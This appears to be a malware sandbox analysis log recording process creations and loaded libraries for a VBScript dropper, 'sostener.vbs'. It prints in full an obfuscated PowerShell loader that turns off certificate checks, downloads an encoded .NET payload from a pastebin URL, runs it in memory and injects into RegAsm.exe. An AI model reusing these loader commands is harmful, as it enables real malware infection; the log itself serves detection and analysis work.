Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $LoPuennnTes = 'J?Bh?G0?cwBo?GU?I??9?C??Jw?w?DM?Jw?7?CQ?dgB2?GU?cgBy?C??PQ?g?Cc?JQBw?Ho?QQBj?E8?ZwBJ?G4?TQBy?CU?Jw?7?Fs?UwB5?HM?d?Bl?G0?LgBO?GU?d??u?FM?ZQBy?HY?aQBj?GU?U?Bv?Gk?bgB0?E0?YQBu?GE?ZwBl?HI?XQ?6?Do?UwBl?HI?dgBl?HI?QwBl?HI?d?Bp?GY?aQBj?GE?d?Bl?FY?YQBs?Gk?Z?Bh?HQ?aQBv?G4?QwBh?Gw?b?Bi?GE?YwBr?C??PQ?g?Hs?J?B0?HI?dQBl?H0?OwBb?FM?eQBz?HQ?ZQBt?C4?TgBl?HQ?LgBT?GU?cgB2?Gk?YwBl?F??bwBp?G4?d?BN?GE?bgBh?Gc?ZQBy?F0?Og?6?FM?ZQBj?HU?cgBp?HQ?eQBQ?HI?bwB0?G8?YwBv?Gw?I??9?C??WwBT?Hk?cwB0?GU?bQ?u?E4?ZQB0?C4?UwBl?GM?dQBy?Gk?d?B5?F??cgBv?HQ?bwBj?G8?b?BU?Hk?c?Bl?F0?Og?6?FQ?b?Bz?DE?Mg?7?Fs?QgB5?HQ?ZQBb?F0?XQ?g?CQ?a?B6?GY?YgBz?C??PQ?g?Fs?cwB5?HM?d?Bl?G0?LgBD?G8?bgB2?GU?cgB0?F0?Og?6?EY?cgBv?G0?QgBh?HM?ZQ?2?DQ?UwB0?HI?aQBu?Gc?K??g?Cg?TgBl?Hc?LQBP?GI?agBl?GM?d??g?E4?ZQB0?C4?VwBl?GI?QwBs?Gk?ZQBu?HQ?KQ?u?EQ?bwB3?G4?b?Bv?GE?Z?BT?HQ?cgBp?G4?Zw?o?C??K?BO?GU?dw?t?E8?YgBq?GU?YwB0?C??TgBl?HQ?LgBX?GU?YgBD?Gw?aQBl?G4?d??p?C4?R?Bv?Hc?bgBs?G8?YQBk?FM?d?By?Gk?bgBn?Cg?JwBo?HQ?d?Bw?Do?Lw?v?H??YQBz?HQ?ZQBi?Gk?bg?u?GM?bwBt?C8?cgBh?Hc?LwBW?Dk?eQ?1?FE?NQB2?HY?Jw?p?C??KQ?g?Ck?OwBb?HM?eQBz?HQ?ZQBt?C4?QQBw?H??R?Bv?G0?YQBp?G4?XQ?6?Do?QwB1?HI?cgBl?G4?d?BE?G8?bQBh?Gk?bg?u?Ew?bwBh?GQ?K??k?Gg?egBm?GI?cw?p?C4?RwBl?HQ?V?B5?H??ZQ?o?Cc?V?Bl?Gg?dQBs?GM?a?Bl?HM?W?B4?Fg?e?B4?C4?QwBs?GE?cwBz?DE?Jw?p?C4?RwBl?HQ?TQBl?HQ?a?Bv?GQ?K??n?E0?cwBx?EI?SQBi?Fk?Jw?p?C4?SQBu?HY?bwBr?GU?K??k?G4?dQBs?Gw?L??g?Fs?bwBi?Go?ZQBj?HQ?WwBd?F0?I??o?Cc?Yg?3?FM?SgBi?Dc?R?Bj?C8?dwBh?HI?LwBt?G8?Yw?u?G4?aQBi?GU?d?Bz?GE?c??v?C8?OgBz?H??d?B0?Gg?Jw?g?Cw?I??k?HY?dgBl?HI?cg?g?Cw?I??n?F8?XwBf?Hc?aQBu?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?LQ?t?C0?LQ?t?C0?LQ?n?Cw?I??k?GE?bQBz?Gg?ZQ?s?C??Jw?x?Cc?L??g?Cc?UgBv?GQ?YQ?n?C??KQ?p?Ds?';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $LoPuennnTes.replace('?','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\user\Desktop\sostener.vbs');powershell $KByHL;	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$amshe = '03';$vverr = 'C:\Users\user\Desktop\sostener.vbs';[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;[Byte[]] $hzfbs = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString( (New-Object Net.WebClient).DownloadString('http://pastebin.com/raw/V9y5Q5vv') ) );[system.AppDomain]::CurrentDomain.Load($hzfbs).GetType('TehulchesXxXxx.Class1').GetMethod('MsqBIbY').Invoke($null, [object[]] ('b7SJb7Dc/war/moc.nibetsap//:sptth' , $vverr , '___win________________________________________-------', $amshe, '1', 'Roda' ));"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe Copy-Item 'C:\Users\user\Desktop\sostener.vbs' -Destination 'C:\Users\user\AppData\Local\Temp\'	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\system32\wscript.exe" //b //nologo C:\Users\user\AppData\Local\Temp\sostener.vbs	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $LoPuennnTes = 'J?Bh?G0?cwBo?GU?I??9?C??Jw?w?DM?Jw?7?CQ?dgB2?GU?cgBy?C??PQ?g?Cc?JQBw?Ho?QQBj?E8?ZwBJ?G4?TQBy?CU?Jw?7?Fs?UwB5?HM?d?Bl?G0?LgBO?GU?d??u?FM?ZQBy?HY?aQBj?GU?U?Bv?Gk?bgB0?E0?YQBu?GE?ZwBl?HI?XQ?6?Do?UwBl?HI?dgBl?HI?QwBl?HI?d?Bp?GY?aQBj?GE?d?Bl?FY?YQBs?Gk?Z?Bh?HQ?aQBv?G4?QwBh?Gw?b?Bi?GE?YwBr?C??PQ?g?Hs?J?B0?HI?dQBl?H0?OwBb?FM?eQBz?HQ?ZQBt?C4?TgBl?HQ?LgBT?GU?cgB2?Gk?YwBl?F??bwBp?G4?d?BN?GE?bgBh?Gc?ZQBy?F0?Og?6?FM?ZQBj?HU?cgBp?HQ?eQBQ?HI?bwB0?G8?YwBv?Gw?I??9?C??WwBT?Hk?cwB0?GU?bQ?u?E4?ZQB0?C4?UwBl?GM?dQBy?Gk?d?B5?F??cgBv?HQ?bwBj?G8?b?BU?Hk?c?Bl?F0?Og?6?FQ?b?Bz?DE?Mg?7?Fs?QgB5?HQ?ZQBb?F0?XQ?g?CQ?a?B6?GY?YgBz?C??PQ?g?Fs?cwB5?HM?d?Bl?G0?LgBD?G8?bgB2?GU?cgB0?F0?Og?6?EY?cgBv?G0?QgBh?HM?ZQ?2?DQ?UwB0?HI?aQBu?Gc?K??g?Cg?TgBl?Hc?LQBP?GI?agBl?GM?d??g?E4?ZQB0?C4?VwBl?GI?QwBs?Gk?ZQBu?HQ?KQ?u?EQ?bwB3?G4?b?Bv?GE?Z?BT?HQ?cgBp?G4?Zw?o?C??K?BO?GU?dw?t?E8?YgBq?GU?YwB0?C??TgBl?HQ?LgBX?GU?YgBD?Gw?aQBl?G4?d??p?C4?R?Bv?Hc?bgBs?G8?YQBk?FM?d?By?Gk?bgBn?Cg?JwBo?HQ?d?Bw?Do?Lw?v?H??YQBz?HQ?ZQBi?Gk?bg?u?GM?bwBt?C8?cgBh?Hc?LwBW?Dk?eQ?1?FE?NQB2?HY?Jw?p?C??KQ?g?Ck?OwBb?HM?eQBz?HQ?ZQBt?C4?QQBw?H??R?Bv?G0?YQBp?G4?XQ?6?Do?QwB1?HI?cgBl?G4?d?BE?G8?bQBh?Gk?bg?u?Ew?bwBh?GQ?K??k?Gg?egBm?GI?cw?p?C4?RwBl?HQ?V?B5?H??ZQ?o?Cc?V?Bl?Gg?dQBs?GM?a?Bl?HM?W?B4?Fg?e?B4?C4?QwBs?GE?cwBz?DE?Jw?p?C4?RwBl?HQ?TQBl?HQ?a?Bv?GQ?K??n?E0?cwBx?EI?SQBi?Fk?Jw?p?C4?SQBu?HY?bwBr?GU?K??k?G4?dQBs?Gw?L??g?Fs?bwBi?Go?ZQBj?HQ?WwBd?F0?I??o?Cc?Yg?3?FM?SgBi?Dc?R?Bj?C8?dwBh?HI?LwBt?G8?Yw?u?G4?aQBi?GU?d?Bz?GE?c??v?C8?OgBz?H??d?B0?Gg?Jw?g?Cw?I??k?HY?dgBl?HI?cg?g?Cw?I??n?F8?XwBf?Hc?aQBu?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?LQ?t?C0?LQ?t?C0?LQ?n?Cw?I??k?GE?bQBz?Gg?ZQ?s?C??Jw?x?Cc?L??g?Cc?UgBv?GQ?YQ?n?C??KQ?p?Ds?';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $LoPuennnTes.replace('?','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\user\AppData\Local\Temp\sostener.vbs');powershell $KByHL;	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$amshe = '03';$vverr = 'C:\Users\user\AppData\Local\Temp\sostener.vbs';[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;[Byte[]] $hzfbs = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString( (New-Object Net.WebClient).DownloadString('http://pastebin.com/raw/V9y5Q5vv') ) );[system.AppDomain]::CurrentDomain.Load($hzfbs).GetType('TehulchesXxXxx.Class1').GetMethod('MsqBIbY').Invoke($null, [object[]] ('b7SJb7Dc/war/moc.nibetsap//:sptth' , $vverr , '___win________________________________________-------', $amshe, '1', 'Roda' ));"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe Copy-Item 'C:\Users\user\AppData\Local\Temp\sostener.vbs' -Destination 'C:\Users\user\AppData\Local\Temp\'	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: avicap32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msvfw32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
